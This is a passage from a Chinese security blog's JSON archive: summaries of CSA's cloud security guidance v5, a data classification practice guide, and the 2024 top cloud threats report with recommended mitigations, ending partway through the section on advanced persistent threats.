领域1为指南的其它领域内容提供了概念性的框架。本部分主要介绍云计算的基本概念、服务模型（如IaaS、PaaS、SaaS）和部署模型（如公有云、私有云、混合云）。它强调了云计算的多租户特性、虚拟化技术以及资源池化的安全挑战，并提出了如何应对这些挑战的最佳实践。\n领域1提出了**“一切即服务”（XaaS）的观点。**XaaS作为云计算的基础模型，涵盖了通过互联网提供的各种服务，区别于传统的本地或专有IDC数据中心。XaaS模型下，“X”代表几乎任何以服务形式交付的资源，如安全即服务、容器即服务、AI即服务等。这些服务通常与IaaS、PaaS、SaaS模型兼容，但它们更加具体且具有描述性，帮助企业在不同场景下选择合适的云服务形式。通过对XaaS的理解，企业能够更精准地选择和设计适合的云服务架构，同时应对安全、合规等多方面的挑战。\n领域2：云治理 领域2关注云治理，重点强调安全的作⽤。治理是基于由策略、程序和控制构成的框架，旨在促进透明度和对既定标准的问责制。有效的治理实践涉及战略指导、⻛险管理和缓解措施、合规性监控和补救、预算分配和成本控制。IT 治理确保信息和相关技术能够⽀持企业战略和⽬标的实现。\n有效的云治理需要建⽴一个强⼤的框架和⼀组策略，以确保有效、安全和合规地使⽤云资源。它需要实施强⼤的控制框架和策略来安全、合规和⾼效地管理云资源。其中包括：\n定义角色和职责 建⽴云卓越中心或类似机构 进⾏需求收集 基于⻛险的规划 ⻛险与补救措施管理 数据和数字资产分类 遵守法律和监管要求 维护云注册表 建⽴治理层级结构 利⽤云特定的安全框架 定义云安全策略 设定控制⽬标并指定控制规范 通过实施这些组件，组织可以最⼤限度地发挥云计算的优势，同时降低潜在风险。\n领域3：风险、审计与合规 领域3 探讨了评估云服务提供商 (CSP) 的⽅法。它涵盖了云⻛险注册中⼼的建⽴和审批流程的实施。此外，它还参考了 CSA 的“顶级威胁”提供常⻅⻛险的背景信息。\n此领域概述了合规性和审计、不同类型的合规性以及合规性继承的概念。为了协助治理、⻛险和合规性(GRC) 流程，该领域引⼊了各种⼯具和技术。这包括策略、程序、控制、⾃动化的作⽤、软件物料清单(SBOM) 和相关技术。总的来说，这些组件⽀持治理框架并帮助管理复杂的云计算⻛险和合规性要求。\n管理云⻛险的第⼀步是建⽴系统流程来评估CSP及其服务产品，此评估应与业务需求和⻛险承受能⼒保持⼀致。以下流程旨在解决这些差异：业务请求、查看 CSP ⽂档、审查外部来源、映射到合规性要求、映射到数据分类、定义所需控制和补偿控制、审批流程。 保护云环境需要全⾯的⻛险管理、合规性和持续监控⽅法。通过利⽤⾮技术和技术⼯具，组织可以有效地管理云⻛险、确保合规性并维护其云基础设施的安全性和弹性。\n领域4：组织管理 组织管理是指云环境的全面管理，它涉及组织和验证云服务提供商 (CSP) 的安全措施，以及保障各个云服务部署的安全。这些关键的安全议题跨越了部署策略，旨在实现结构化的最优“影响范围”控制和安全管理。尽管每个CSP的底层技术存在差异，但它们通常提供足够的功能对等性，以实现策略一致的管理实践。\n租户管理是多租户环境中资源分配的关键机制，在云环境管理中发挥着至关重要的作用。建立关键控制措施来管理层级结构并解决首要的安全性和合规性问题，对于维护可见性和结构至关重要。领域4还探讨了管理和保护多个云部署的各种组织层级结构模型及其功能和最佳实践。通过研究结构差异和标准化方法，云服务客户 (CSC) 可以实施一致的安全控制和策略，增强其云管理策略并最小化安全风险。 此领域还涉及组织安全管理的细节，包括身份提供商映射、CSP策略、共享服务，以及混合和多云环境的注意事项。实现云安全的第⼀步包括限制不必要的扩展、确定组织占用空间，在跨CSP及其内部实施安全控制，以确保单个部署的安全。首要任务是掌握如何将云服务划分成更小的控制单元，并在部署之上建立企业级和租户级的控制措施。\n领域5：身份与访问管理（IAM） 身份和访问管理确保只有经过授权身份才能访问相应的资源。随着云平台将众多数据中心的管理功能和服务整合到统一的可通过互联网访问的Web控制台和应用程序编程接口 (API)中，IAM成为云原生安全的新防线，保护敏感资源免遭未经授权的访问和滥用。\n在公有云和私有云中，云服务提供商(CSP)和云服务客户(CSC)都有责任在可接受的风险容忍度内管理IAM。与本地系统相比，云计算为IAM管理引入了新维度。虽然核心安全问题可能并不新鲜，但它们的影响却被放大，并可能在云环境中产生连锁反应。\n在云中管理IAM与在本地系统管理IAM之间的主要区别是：\n云服务提供商（CSP）与云服务客户（CSC）之间的关系，以及各自的职责。 多个管理接口的整合。 这些接口对互联网的暴露，特别是对于公共云环境。 IAM不能仅由CSP或CSC管理。它需要双方之间的信任关系、明确的责任划分以及促进IAM管理的技术机制。此外，与多个CSP打交道的CSC还增加了管理多个IAM解决方案与每个供应商的独特策略保持一致的复杂性。\n领域6：云安全监控 领域6为云环境提出了独特的安全监控挑战和解决⽅案。它强调了云遥测、管理平⾯⽇志、服务和资源⽇志以及⾼级监控⼯具集成的不同⽅⾯。它探讨了混合和多云设置的复杂性，包括互操作性和安全性考虑。进⼀步强调了⽇志、事件和配置检测在全⾯安全监控中的关键作⽤。最后介绍了⽣成式⼈⼯智能(GenAI)，作为增强云安全性和提供多⽅⾯保护云基础设施的创新⼯具。\n云遥测源可让组织了解云环境，跟踪从管理操作到单个服务交互和资源性能的所有内容。它们通过不断收集和共享详细信息，提供“看到”和“听到”云环境中正在发⽣的事情的能⼒。然后，安全⼯具、管理员或⾃动化流程会处理这些信息，以分析和了解 CSC 云环境的运⾏状况、性能和安全性。\n领域7：云基础设施与网络安全 领域7涵盖管理整体基础设施占⽤空间和⽹络安全。保护云基础设施是⼀项双重任务，既要保护 CSP 的设置，⼜要保护 CSC 部署的配置。基础设施安全的核⼼⽀柱包括创建安全架构、确保配置从⼀开始就是安全的、在开发⽣命周期的早期阶段集成安全性（左移实践）以及通过监控和应⽤护栏保持警惕。\n基于 SDN 原则构建的云⽹络提供⾼级安全功能，例如实施默认拒绝策略、根据策略管理访问和规则以及允许进⾏细粒度的⽹络分段。这些功能显著的增强了云环境中的安全框架。\n融⼊零信任原则（例如 SDP 和 SASE）对于确保多云连接和实现安全远程访问⾄关重要。这些模型确保严格控制访问并根据经过验证的⾝份和上下⽂提供访问，从⽽增强分布式环境中的安全性。\n容器⽹络在传统虚拟化云⽹络之上添加了⼀个抽象层，从⽽带来了新的复杂性。这需要在容器和云⽹络层都应⽤安全措施，以防⽌漏洞被利⽤。最后，云⽹络安全不仅限于安全组。它还包括部署防⽕墙、IDS/IPS 和 WAF 等预防性措施，以及流⽇志和流量镜像等检测控制。这些元素共同构成了对⽹络威胁的强⼤防御措施，确保利⽤云技术的企业的云基础设施的完整性和弹性。\n领域8：云⼯作负载安全 领域8涵盖保护云⼯作负载。云⼯作负载指在云计算环境中运⾏的各种任务、应⽤程序、服务和流程。云⼯作负载具有可扩展性、灵活性和效率，使企业和个⼈⽆需在物理硬件上投⼊⼤量资⾦即可访问和运⾏应⽤程序或数据处理任务。云⼯作负载包含⼀系列资源，包括虚拟机 (VM)、容器、⽆服务器功能、AI和平台即服务(PaaS)。云环境的动态性质及其不断变化和扩展的资源需要与传统⽅法不同的安全⽅法。\n在使⽤ Kubernetes进⾏容器编排时，⾃定义配置以增强安全性⾄关重要。扫描容器镜像中的漏洞并控制谁有权访问和管理这些镜像是⾄关重要的做法。此外，实施运⾏时保护机制可确保持续监控容器并防御持续威胁。\n⽆服务器应⽤程序需要采取有针对性的安全性⽅法，⾸先是严格的IAM策略。保护API端点免受未经授权的访问并严格管理机密是防⽌漏洞利⽤的关键。\nAI⼯作负载安全领域发展速度特别快，需要不断学习。为了保护AI⼯作负载免受攻击，必须采⽤对抗性训练，保护AI模型免受未经授权的访问或盗窃，并采⽤差分隐私等数据隐私技术。\n领域9：云数据安全 在云服务快速发展和⽹络威胁⽇益增加的背景下，领域9满⾜了云环境中对强⼤数据安全的需求。它强调了数据安全对于维护组织完整性、机密性、客户信任和法规遵从性的重要性。\n该领域探讨了数据安全的各个⽅⾯，包括数据分类、云存储类型以及针对不同数据状态（静态数据、移动数据和使⽤数据）的特定安全措施。它涵盖了IAM、加密和访问控制策略等基本安全⼯具和技术，为保护云数据提供了全⾯的指南。总体⽽⾔，该领域是加强云数据安全实践的组织的基础指南。\n领域10：云应用安全 领域10涵盖应用程序安全性，即使用安全控制保护计算机应用程序免受外部威胁的实践。云计算是应用程序安全性进步的主要驱动力，它要求进步是稳定的、可扩展的和安全的。安全开发生命周期提供了必要的技术和方法指南，以帮助制作和维护安全的云应用程序。\n指南提出左移（Shift-Left）的概念，左移（Shift-Left）是指将安全工作转移到SSDLC的早期阶段，以确保产品的设计安全和默认安全。\n左移（Shift-Left）确保在SSDLC的每个阶段，都通过安全视角来审视风险，从而实现主动安全，前置安全。与SSDLC后期阶段被动修补漏洞相比，安全左移也更具成本效益。\n领域11：事件响应与韧性（恢复力） 领域11旨在确定和解释云事件响应和韧性（恢复力）的最佳实践，安全专业⼈员在制定⾃⼰的事件计划和流程时可以将其⽤作参考。本领域探讨了云事件响应框架以及为有效响应事件所需的准备工作。它为CSP和CSC提供了一种透明、共同的框架，帮助他们共享云事件响应实践，指导CSC如何准备并管理云事件，贯穿整个破坏性事件的生命周期。\n事件响应生命周期是云客户有效准备和管理云事件的指导。NIST所描述的事件响应生命周期包括以下阶段和主要活动：准备阶段、检测与分析、控制、消除与恢复，以及事后分析。\n领域12：相关技术与策略 领域12指出，为了应对日益复杂的云安全挑战，组织需要从多个维度进行全面分析。通过结合“视角”和“流程”两者，我们能够从不同的角度审视问题，并在决策过程中采取明智的措施，确保云应用、系统和数据的安全性与合规性。\n当前，零信任（ZT）策略作为云安全的核心之一，强调持续验证所有用户和设备，最小化信任，应用最小特权原则，并结合多因素身份验证、微分段和加密技术，缩小攻击面，提高安全弹性。与此同时，人工智能（AI）在云安全中的应用正逐步增强。通过AI，组织可以改善威胁检测、访问控制和策略实施，利用机器学习改进异常检测和风险管理，提升安全防护能力。\nCCSK课程介绍 为了适应云安全3.0（智能云安全）时代对人才的需求，CSA在升级了CCSK课程与认证体系的同时，同步更新《云安全关键领域安全指南v5》。CCSK课程内容与指南紧密结合，确保学员能够学习到最新的云安全理念与最佳实践。\nCCSK V5在传统云安全知识体系的基础上，引入了包括AI/GenAI、零信任、DevSecOps、数据湖等新兴技术或理念，为云安全3.0时代的人才培养提供了与时俱进的完善的知识体系，同时为学员提供了明确的培养路径和目标。\nCCSK（Certificate of Cloud Security Knowledge）云安全知识认证是国际权威组织云安全联盟CSA于2011年发布的认证项目，是首个面向个人用户全球安全认证。被译成六国语言，在全球范围内进行教学。被誉为“云计算安全认证之母”，CCSK持证者已超过80000人。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E4%BA%91%E8%AE%A1%E7%AE%97%E5%85%B3%E9%94%AE%E9%A2%86%E5%9F%9F%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97v5-%E9%80%9F%E8%A7%88%E7%89%88/","summary":"笔者20年暑假刚高考完，参与了CCSK v4的学习和考取了证书。命运的齿轮也许在那时就开始拨动旋转。在24年的最后一个周五，本报告发出之际，落笔至此感触良多。从云安全的初学者成长为这份重磅教材的翻译者与参与者，感谢执掌好运的黄…","tags":["技术实践","云安全","标准解读","翻译"],"title":"云计算关键领域安全指南v5-速览版","unix":1735264800,"year":"2024"},{"date":"2024-11-27","dateISO":"2024-11-27","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%95%B0%E6%8D%AE%E6%B2%BB%E7%90%86%E6%96%B0%E5%9F%BA%E7%9F%B3%E5%88%86%E7%B1%BB%E5%88%86%E7%BA%A7%E6%96%B9%E6%B3%95%E4%B8%8E%E5%BA%94%E7%94%A8%E5%85%A8%E9%9D%A2%E8%A7%A3%E6%9E%90/","plain":"数据治理新基石：分类分级方法与应用全面解析 和我的好友 Steve 共作此篇，本文基于《数据分类分级实践指南2.0》进行解读，特别感谢天融信战略咨询中心总监艾龙老师的悉心审阅\u0026指导。\n本文投稿至：CSA发布|数据分类分级实践指南2.0\n数据作为数字经济时代的核心要素，是国家基础性战略资源，其规模庞大、种类繁多、状态多变。我们在面对数据这一复杂性、抽象性的事物时，深入理解不同的数据属性，对其进行类型化分析，做好数据的分类与分级，是实现精细化数据安全治理的基础，是平衡数据安全保护和流通利用的必经之路。\nCSA大中华区发布《数据分类分级实践指南2.0》从国内外数据分类分级管理现状、数据分类分级概述、数据分类分级能力建设、数据分类分级方法、数据分类分级实施方案、数据分类分级应用等六个方面展开探讨与分析，并提供了国内典型数据分类分级产品介绍、数据分类分级模板工具、数据分类分级参考资料、数据分类分级关键技术与方法、典型行业标准解读、数据分类分级词典示例、文件识别规则示例等参考性、资料性附录。\n在指南的编写和实践验证中，多家企业贡献了他们的技术经验和产品支持，这些产品为推动数据分类分级的落地提供了宝贵的参考。在数字化与智能化交相辉映的时代，我们希望为数据治理、数据安全等领域的从业者及研究者提供有效参考和切实帮助。\n指南V2.0的全新升级：理论与实践的深度结合 《实践指南V2.0》相比1.0版本有了显著提升，具体体现在知识覆盖范围的扩大、技术支持的深入以及应用模板的丰富。指南融入了更多的行业标准和政策解读，这一扩展帮助各行业各领域的数据处理者在多元化业务场景中找到适用的解决方案。指南还完善了理论方法，通过“线分类法”“面分类法”和“混合分类法”等多种方式，帮助企业灵活应对不同业务需求。在技术分析，指南详细探讨了自然语言处理（NLP）、机器学习和元数据分析等核心技术的应用价值。此外，指南通过提供大量实用模板和参考资料降低了实施难度。\n主要内容导读 数据分类分级是数据安全治理的基础性工作，是一项需要多角色协同的、持续的、复杂的、系统性的工程项目，建立成熟的数据分类分级能力体系是保障数据分类分级和安全分级管控工作能够常态化有效运行的前提，其能力建设包含数据分类分级职能架构、管理制度和流程、技术工具建设、持续运营机制等四个主要环节。\n****数据分类*是按照数据属性和特征，建立分类体系以便管理和使用的过程；*数据分级****则是根据数据的重要性和可能造成的危害程度进行安全等级划分，确保针对性保护。分类分级不仅是数据治理和保护的基础，也是法律法规的核心要求。\n数据分类分级的实施包括业务活动识别、数据资产发现、数据资产识别、规则制定和标识标记五个阶段。\n当前常用的识别技术有NLP、OCR、视频文件处理、音频文件处理等技术。\n数据分类分级的成果广泛应用于合规监管、数据资产管理和数据安全保护领域。一是企业可通过分类分级满足法律法规要求，完成重要数据目录报送和跨境数据评估等合规工作；二是通过梳理数据资产，展示类别、级别及分布情况，为数据价值开发和安全管理提供支持。在数据处理活动中，分类分级成果可用于分域存储、敏感数据监测、审批流程差异化设置等环节，实现精准安全管控。三是分类分级是数据安全风险评估和事件管理的基础，能够提升事前预警、事中响应和事后整改能力。结合数据加密、脱敏、防泄漏等安全措施，分类分级成果还可联动优化企业安全防护策略，降低保护成本，全面提升数据治理水平。\n未来，分类分级的技术应用将更加注重实时性和多样性，生成式人工智能和多模态学习的快速发展为这一领域带来了全新的可能性。生成式AI通过分析历史数据和行为模式，可以预测企业未来的数据分类需求，从而提前优化分级规则。这种技术的优势在于其预见性和灵活性，使得企业能够在面对突发的数据流动或政策变更时快速响应。多模态学习则通过整合文本、图像、视频和音频等多种数据形式，为分类分级提供了更全面的技术支持。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%95%B0%E6%8D%AE%E6%B2%BB%E7%90%86%E6%96%B0%E5%9F%BA%E7%9F%B3%E5%88%86%E7%B1%BB%E5%88%86%E7%BA%A7%E6%96%B9%E6%B3%95%E4%B8%8E%E5%BA%94%E7%94%A8%E5%85%A8%E9%9D%A2%E8%A7%A3%E6%9E%90/","summary":"和我的好友 Steve 共作此篇，本文基于《数据分类分级实践指南2.0》进行解读，特别感谢天融信战略咨询中心总监艾龙老师的悉心审阅\u0026指导。","tags":["技术实践","数据安全","实操指南","方法解析","治理实践"],"title":"数据治理新基石：分类分级方法与应用全面解析","unix":1732672800,"year":"2024"},{"date":"2024-10-18","dateISO":"2024-10-18","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/2024%E5%B9%B4%E4%BA%91%E5%AE%89%E5%85%A8%E8%B6%8B%E5%8A%BF%E9%A1%B6%E7%BA%A7%E5%A8%81%E8%83%81%E4%B8%8E%E5%BA%94%E5%AF%B9%E7%AD%96%E7%95%A5/","plain":"和我的好友Steve共作此篇\n本文原文地址：https://mp.weixin.qq.com/s/UU0mGXrwE60wLNlqkHIutg\n前言 随着云计算的快速普及，安全问题已逐渐成为企业关注的核心。云环境的复杂性、多样性及其开放性，给企业带来了前所未有的安全挑战。为帮助企业深入了解和应对这些风险，云安全联盟大中华区发布《2024年云计算顶级威胁》。报告基于对500多位行业专家的深入调研，汇集了他们对当前云安全环境的见解与建议，旨在提升企业对云计算相关威胁、漏洞及风险的认识和警觉。\n报告指出，2024年云计算面临的安全威胁格局正在显著变化，传统的威胁如拒绝服务攻击和共享技术漏洞逐渐被边缘化，而新的安全问题，如配置错误、身份与访问管理缺陷、不安全的API接口、云安全策略缺失等，正在成为云环境中的核心风险。\n2024年11项顶级云安全威胁 报告指出，由云服务提供商 (CSP) 负责的传统云安全问题在排名中的持续下降。此前报告中提到的拒绝服务攻击、共享技术的漏洞以及CSP数据丢失等问题，本次因评级较低而未被纳入本报告，基础设施即服务 (IaaS) 环境中的老旧云安全问题不再是主要担忧。\n报告对每项威胁进行了分析，包括其描述、业务影响、关键措施以及实际案例，同时参考了CSA的《云计算关键领域安全指南第5版》中的相关章节和CSA《云控制矩阵（CCM）》及《CAIQ v4》中的相关缓解控制措施。最后，整体方法论代表了CSA《云审计知识证书学习指南v1》中提出的顶级威胁方法论。\n1-配置错误与变更控制不足 云计算资产的错误配置或次优设置****会使其容易受到意外损坏或外部/内部恶意活动的影响。缺乏对云安全设置的系统知识或对潜在恶意意图的了解，常常导致错误配置。常见的错误配置包括：密钥管理不当、禁用监控和日志、ICMP未关闭、不安全的自动备份、存储访问控制不足以及过度开放的云访问权限。AWS S3存储桶的错误配置更是常见的安全漏洞来源之一，导致数据泄露的风险显著增加。\n此外，变更控制不足在云环境中可能导致配置问题得不到及时发现和修复，增加了系统的安全风险。云环境中复杂的架构和频繁的变更使得传统IT基础设施管理方法不再适用。企业需要借助云原生的安全工具和实时自动化验证，来有效管理和减少错误配置带来的安全风险。\n关键措施\n**云配置监控、审核和评估：**通过机器学习，自动化检测云系统安全配置的常见错误，减少对手动检查的依赖。 **云系统变更管理：**确保在业务变革和安全挑战中，所有变更都经过实时自动化验证，减少错误和漏洞。 2-身份与访问管理（IAM） 身份与访问管理 (IAM) 确保只有经过授权的人员在证明了其身份后才能访问他们有权访问的资源。这一系统在定义和管理用户角色、访问权限以及这些权限分配或撤销的具体条件时至关重要。尽管 IAM 在安全中扮演关键角色，但由于其复杂性以及不断变化的网络威胁，IAM 在网络安全中仍面临持续的挑战。关键组件包括用户认证、授权、单点登录 (SSO)、多因素认证 (MFA) 以及活动监控，这些都在 IAM 的有效性中起到重要作用。然而，这些功能的复杂性和动态性也可能引入漏洞，特别是当没有正确实施、配置、更新和监控时，可能带来重大风险。\n随着网络威胁的日益复杂，安全敏感信息的保护越来越成为一项艰巨的任务。未能正确实施和改进 IAM 策略会使网络安全防御体系变得不堪一击。因此，持续改进 IAM 策略对于加固网络防御是不可或缺的。\n关键措施\n**统一IAM 解决方案：**使用提供强认证、集中管理和多云环境下可见性的 IAM 解决方案。 **遵循最小权限原则：**确保用户仅拥有执行任务所需的最低访问权限，减少潜在漏洞。 **自动化用户配置和撤销：**使用自动化工具管理账户生命周期，确保权限及时更新和删除。 **访问评估和监控：**实施自动化工具来管理账户的生命周期和权限，防止未授权访问。 3-不安全的接口与APIs 云服务提供商 (CSP)、企业供应商和内部开发人员提供机器对机器的应用程序编程接口 (API) 或完整的人机界面 (UI) 套件，通常用于系统控制。然而，初始的设计需求往往与长期使用不一致。领导层的变动、企业战略方向的调整或第三方合作伙伴的访问需求，会暴露出潜在风险，并带来快速部署的时间压力。此前的决策、未记录的假设、遗留支持需求、不良的架构设计或本地部署/IaaS/SaaS产品一致性期望，都可能影响企业向云端过渡的进程。\n由于各种原因，API 和 UI 容易受到攻击，常见问题包括：1. 身份验证机制不足，2. 缺乏加密，3. 会话管理不当，4. 输入验证不足，5. 记录和监控不佳，6. 过时或未打补丁的软件，7. 假设的保护策略在上云期间未能实现，8. 过度开放的访问控制，9. 对时间敏感的应用缺乏检测。Akamai 2024年报告显示，“从2023年1月到12月，网络攻击中有29%针对的是API”。2023年，OWASP指出，接口安全的重要性已反映在最新的API安全十大问题列表中。\n关键措施\nAPI提供的攻击面应按照最佳实践进行监控和安全保护。 应实施速率限制和限流策略，以防止拒绝服务 (DoS) 攻击和凭据填充攻击。 传统的安全控制方法和变更管理策略必须根据基于云的API增长进行更新。通过缩短凭据的有效期、引入多因素身份验证 (MFA) 来提升安全性。 在迁移功能时，确认产品和服务的一致性。供应商本地部署方案的API接口与SaaS应用之间调用存在较大延时，在不同的超大规模云服务提供商之间迁移时，可能会有很大的不同。 调查凭据生命周期自动化技术以及连续监控异常API流量的技术。结合威胁情报的API接口可以实时纠正问题。 4-云安全策略缺失 尽管云计算技术已经成熟，企业对其应用越来越广泛，但有效的云安全架构和策略往往仍未得到足够重视。缺乏明确的安全策略可能导致云环境中的安全漏洞，进而引发一系列安全事件。云安全策略包括考虑各种外部因素、现有实施情况以及云技术、优先事项的选择，并朝着创建高层次计划或方法前进。这些洞见有助于企业实现云安全目标并支持业务目标。\n关键措施\n制定云安全策略或关键指导原则，明确目标或目的。 在设计和实施云安全控制和措施时，考虑业务目标、风险、效率、安全威胁和法律合规性。 预见潜在的人为错误、攻击者行为，采用纵深防御策略，将配置安全列为优先事项。 设计适当的最佳实践云网络、账户、数据、身份管理和边界保护的最佳实践，专注于策略的落地与执行。 5-不安全的第三方资源 云计算的采用正在迅速增加，第三方资源可能包括从外部编写的代码、开源库到SaaS产品，或如威胁3中提到的不安全的接口和APIs。源于第三方资源的风险也被视为供应链漏洞，因为它们是将云服务或应用程序交付给客户的一部分。这也被称为网络安全供应链风险管理（C-CSRM），其重点在于管理云服务或应用程序中的供应链网络安全风险。\n根据科罗拉多州立大学的研究，三分之二的数据泄露事件源自供应商或第三方资源的漏洞。由于产品或服务是由多个组件构成，攻击者往往可以通过任何一个环节进行攻击（例如嵌入代码中的单行代码）。对于恶意黑客来说，他们只需要找到整个系统中最薄弱的一环作为切入点，通常这类薄弱环节可能是大型企业所依赖的某个小型供应商。\n关键措施\n软件无法完全确保安全，尤其是那些由第三方开发的代码或产品。因此，组织可以做出明智的决策，选择那些获得官方支持、具有合规认证的第三方资源，并要求提供透明的安全处理机制。 使用软件成分分析（SCA）工具识别第三方资源，创建软件物料清单（SBOM）或SaaSBOM，以便清楚了解供应链中的所有组件。 持续追踪SBOM和第三方资源，确保所使用的产品不会包含已知漏洞，及时获得更新和修复信息。 定期对第三方资源进行自动化和手动审查，确保它们符合最新的安全要求，并及时更新到安全版本。 与供应商合作，确保其拥有执行自动化安全测试的能力，并具备相应的培训和工具，以减少供应链中的潜在安全隐患。 6-不安全的软件开发 尽管开发人员并不会有意创建不安全的软件，但软件和云技术的复杂性往往会无意中引入漏洞。当这种不安全的软件被部署后，攻击者可能利用这些漏洞来危害云应用程序的安全。通过专注于**“云优先”策略**，组织可以构建DevOps流水线，推动持续集成/持续交付（CI/CD）的实施。云服务提供商（CSP）还提供安全开发功能，如防护或自动化的应用程序安全测试。此外，CSP还提供身份与访问管理（IAM）功能，以在开发环境中强制实施最小权限原则，并支持追踪修复工作。\n确保每个开发人员理解公司与CSP的共享责任假设至关重要，这需要持续的安全教育。例如，当在开发人员的软件中报告了0day漏洞时，开发人员有责任修复该问题。反之，如果漏洞存在于CSP提供的开发或操作环境中，则应由CSP负责实施补丁来解决该问题。\n采用云技术可以让公司专注于独特的业务需求，而将其他一切交给CSP来管理和监控。根据《云控制矩阵 4.0》的建议，组织应“定义并实施安全开发生命周期（SDLC）流程”，用于应用程序设计、开发、部署和运营，以符合组织设定的安全要求。通过实施SDLC，企业将更加专注于交付更安全的云应用程序。\n关键措施\n定义并实施安全开发生命周期（SDLC）流程，该流程包括在设计、开发和运营阶段进行漏洞扫描和弱点检测。 无论如何，没有任何软件是绝对安全的。企业应利用云技术开发更安全的云应用程序，并部署机制增强系统的弹性。 使用云技术可以避免重新发明已有的解决方案，开发人员可以使用护栏和其他API专注于解决业务中的独特问题。 理解共享责任模型，例如修补CSP服务或开发者应用中的漏洞，确保快速补救。 CSP重视安全，并提供指导，例如“良好架构框架”或安全设计模式，帮助企业安全实施服务。 7-意外的数据泄露 意外的数据泄露（通常由于配置错误导致）的风险正在逐年增加。免费公共搜索工具可以帮助定位公开的数据存储库，而这些风险广泛存在于多个云存储服务中，如亚马逊S3存储桶、Azure Blob、GCP存储、Elasticsearch等。这些问题尽管已被广泛讨论，但过去两年中，Elasticsearch和S3存储桶的漏洞依旧频繁出现，通常在暴露后24小时内即被攻击利用。\n2024年4月，云安全联盟发布的研究显示，21.1%的公共存储桶中包含敏感数据。这些意外泄露的数据不仅包括常见的姓名、国籍、出生日期和性别，还涉及更多敏感信息，如护照信息、密码、教育数据、驾驶执照、医疗记录和生物识别数据。许多此类泄露是由于用户监督不足或配置错误引起的。\n关键措施\n所有云平台都有可能因配置错误或用户操作失误导致数据泄露。企业应采取技术和流程结合的方式，推进教育计划、IT审计、法律规划等，以减少此类错误的发生。 一些基本的配置步骤可以显著降低意外数据泄露的可能性，例如：确保存储桶配置为私有、加密内容、使用强密码并启用多因素认证（MFA）。每个主要的云提供商（如亚马逊、谷歌、微软）都提供详细的配置安全指南。 为显著降低风险，应实施基于最小权限原则的身份与访问管理（IAM）策略，严格控制数据库访问权限，并定期审计。 定期审查数据存储的权限，确保合规性和数据安全。如果配置得当，云安全态势管理（CSPM）工具还可以自动修复潜在的安全问题。 8-系统漏洞 系统漏洞是云服务平台中的安全缺陷，攻击者可能通过这些漏洞危害数据的机密性、完整性和可用性，甚至可能导致服务中断。云服务通常由定制软件、第三方库、服务以及操作系统构建而成，任何组件中的漏洞都可能使云服务更容易受到网络攻击威胁。\n系统漏洞主要分为配置错误、0day漏洞、未修补的软件以及弱密码或默认凭据。配置错误常常发生在云服务使用默认或错误配置进行部署时，依据NSA的报告，配置错误是云计算中最常见的安全问题之一。0day漏洞指的是那些已经被发现并被攻击者利用，但尚未被云服务提供商和软件供应商修补的漏洞。未修补的软件则是指包含已知安全问题的软件，尽管已经发布了相应补丁，但这些漏洞仍未得到修复。此外，弱密码或使用默认凭据则是由于缺乏强大的身份验证机制，攻击者可以轻松地获得对系统和数据的未经授权访问权。这些漏洞的存在大大增加了云服务受到网络攻击的风险，需要进行及时的修补和配置强化，以确保系统的安全性。\n关键措施\n系统漏洞是云服务中扩展攻击面的问题根源之一。NSA和CSA的调查显示，配置错误是最显著的云服务漏洞。 持续监控系统和网络，通过增加可见性来发现和修复安全漏洞及其他系统完整性问题。 定期实施补丁管理，以确保最新的安全补丁能够及时获取并部署，提高系统对网络攻击的防御能力。 零信任架构可以通过持续验证身份和限制对关键云资源的访问，减少0day漏洞的潜在危害。 9-云可见性/可观测性不足 当组织无法有效可视化或分析云服务的使用是否安全时，就会出现云可见性/可观测性不足的问题。这个**问题主要体现在两个方面：**未经授权的应用使用和已批准应用的误用。未经授权的应用使用通常发生在员工未经IT部门和安全许可的情况下使用云应用和资源，这导致了“影子IT”的问题。当涉及敏感数据时，这种情况尤其危险。已批准的应用误用则发生在组织无法监控其已批准应用的使用情况时，内部员工或外部威胁通常利用这些漏洞，通过凭证盗窃、SQL注入或DNS攻击等手段实施攻击。\n关键措施\n制定全面的云可见性解决方案：从顶层设计入手，指派云安全架构师创建整合人员、流程和技术的解决方案。 进行全员培训：确保所有员工接受云使用政策的培训，并遵守相关规定。 审查并批准未经批准的服务：让云安全架构师或第三方进行风险管理审查，并批准所有未经批准的云服务。 采用云访问安全代理（CASB）和零信任安全解决方案，使用这些工具分析外部活动、发现云使用情况并识别高风险用户。 10-未验证的资源共享 未经验证的云资源共享可能会对云服务构成重大安全风险。云资源可能包括虚拟机、存储桶和数据库，其中包含敏感数据和对业务操作至关重要的应用程序。如果缺乏用户身份验证或未遵循最小权限原则，云资源便会面临威胁，攻击者可能会窃取公司和个人的机密数据。\n确保云资源安全的最佳做法之一是使用基本的身份验证机制，至少需要密码输入。然而，每年仍有大量数据泄露事件与云存储和数据库系统没有密码保护有关。在如今庞大的数据网络中，寻找未受保护的云资源似乎是个挑战，但实际上使用Shodan、Binary Edge和Grayhat Warfare等物联网（IoT）搜索工具，很容易发现未受保护的数据存储库。\n关键措施\n云存储和数据库有时缺乏密码保护，容易被任何人访问。强制执行基本的用户身份验证是限制对云资源访问的重要手段。 通过部署MFA和第三方认证服务进一步增强身份验证。 持续监控用户活动有助于判断其行为是否合法或具有恶意。 11-高级持续性威胁 (APT) 高级持续性威胁（APT）仍然对云安全构成重大风险。这些复杂的对手，包括国家行为者和有组织的犯罪团伙，拥有资源和专业知识，可以在云环境中发起长期攻击，目标往往是敏感数据和关键业务资源。在2022-2023年，APT活动对云环境构成了重大威胁，其攻击手段多种多样，包括勒索软件、0day漏洞的利用、网络钓鱼、凭证盗窃、破坏性擦除数据攻击和供应链攻击等。这些攻击手段突显了APT的持续性特性，企业必须采取强有力的安全措施，以保护其云基础设施免受这些高级威胁。\n为了防御云环境中的APT攻击，企业应当密切监控网络威胁情报，深入了解最活跃的APT组织及其战术、技术和程序（TTPs）。定期进行红队演练可以帮助企业测试和改进其检测和响应APT攻击的能力。同时，威胁狩猎活动也是APT检测的重要组成部分，尤其是在云环境中。\n多层次的云安全策略，包括强大的访问控制、加密、监控和事件响应，是防御高级对手攻击的关键。\n关键措施\n业务影响分析：定期进行业务影响分析，以识别和了解企业的关键信息资产及其潜在漏洞。这有助于企业将安全资源和努力重点放在保护最有价值的数据上。 